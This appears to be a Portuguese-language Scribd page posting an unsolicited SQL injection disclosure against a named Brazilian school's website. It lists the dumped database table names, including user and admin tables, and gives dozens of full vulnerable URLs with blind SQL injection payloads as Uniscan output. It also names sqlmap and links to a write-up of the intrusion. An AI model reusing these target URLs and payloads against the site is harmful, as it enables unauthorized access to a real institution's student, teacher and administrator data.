Cest

O seu site possui uma vulnerabilidade sql injection uma vulnerabilidade grave e que
pode dar acesso total ao seu site.
Abaixo mostro as tabelas do seu banco de dados como prova da potencia da

vulnerabilidade
+-------------------+
| session |
| user |
| admin |
| agenda |
| agendas |
| albums |
| albums_photos |
| aluno |
| cursos |
| diariodeclasse |
| downloads |
| empregos |
| evento |
| info_uteis |
| itenspergunta |
| jornal |
| noticia |
| noticias |
| perguntas |
| pesquisa |
| postagem_material |
| professor |
| turma |
| useradmin |
+-------------------+
As falhas esto presentes nos links :

| Blind SQL Injection:
| [+] Vul [Blind SQL-i]: http://www.colegiocest.com.br/noticia.php?
id=392'+AND+'1'='1
| [+] Keyword: oportunidade
id=395'+AND+'1'='1
| [+] Keyword: anatomia
id=393'+AND+'1'='1
| [+] Keyword: vindas
| [+] Vul [Blind SQL-i]: http://www.colegiocest.com.br/detal_curso.php?
id=13'+AND+'1'='1
| [+] Keyword: ENSINO
id=3'+AND+'1'='1
| [+] Keyword: objetivo
id=394'+AND+'1'='1
| [+] Keyword: Aprenda
id=47'+AND+'1'='1
| [+] Keyword: valoriza
id=2'+AND+'1'='1
| [+] Keyword: capacitar
id=4'+AND+'1'='1
| [+] Keyword: realiza
id=5'+AND+'1'='1
| [+] Keyword: retardamento
id=7'+AND+'1'='1
| [+] Keyword: NUTRIO
id=6'+AND+'1'='1
id=8'+AND+'1'='1
| [+] Keyword: SEGURANA
id=9'+AND+'1'='1
| [+] Keyword: deseja
id=11'+AND+'1'='1
| [+] Keyword: REFRIGERAO
id=17'+AND+'1'='1
| [+] Keyword: colabora
id=12'+AND+'1'='1
| [+] Keyword: oferecido
id=390'+AND+'1'='1
| [+] Keyword: Informtica
| [+] Vul [Blind SQL-i]: http://www.colegiocest.com.br/galeriafotos.php?
id=4'+AND+'1'='1
| [+] Keyword: completa
id=389'+AND+'1'='1
| [+] Keyword: TCNICO
id=387'+AND+'1'='1
| [+] Keyword: Informtica
id=386'+AND+'1'='1
| [+] Keyword: Formatura
id=385'+AND+'1'='1
| [+] Keyword: Eletrotcnica
id=377'+AND+'1'='1
| [+] Keyword: Administrao
id=1'+AND+'1'='1
id=3'+AND+'1'='1
id=2'+AND+'1'='1
id=7'+AND+'1'='1
id=8'+AND+'1'='1
id=9'+AND+'1'='1
id=5'+AND+'1'='1
id=1'+AND+'1'='1
| [+] Keyword: AUTOMAO
id=10'+AND+'1'='1
id=12'+AND+'1'='1
id=379'+AND+'1'='1
| [+] Keyword: Inaugural
id=380'+AND+'1'='1
| [+] Keyword: Administrao
id=11'+AND+'1'='1
id=6'+AND+'1'='1
id=10'+AND+'1'='1
As ferramentas usadas no pentest foram: Uniscan e sqlmap
A baixo o link do pentest completo
link do scaneamento do site : https://www.scribd.com/document/359077087/Scan
link da invaso do site obs:Por questo de privacidade no ultrapassei das tabelas

por questo de privacidade do site:
https://www.scribd.com/document/359078015/SQL-Injection

Cest

Enviado por

Dados do documento

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

Cest

Enviado por

Direitos autorais:

Formatos disponíveis

O seu site possui uma vulnerabilidade sql injection uma vulnerabilidade grave e que

pode dar acesso total ao seu site.

Abaixo mostro as tabelas do seu banco de dados como prova da potencia da

As falhas esto presentes nos links :

A baixo o link do pentest completo

link do scaneamento do site : https://www.scribd.com/document/359077087/Scan

link da invaso do site obs:Por questo de privacidade no ultrapassei das tabelas

Você também pode gostar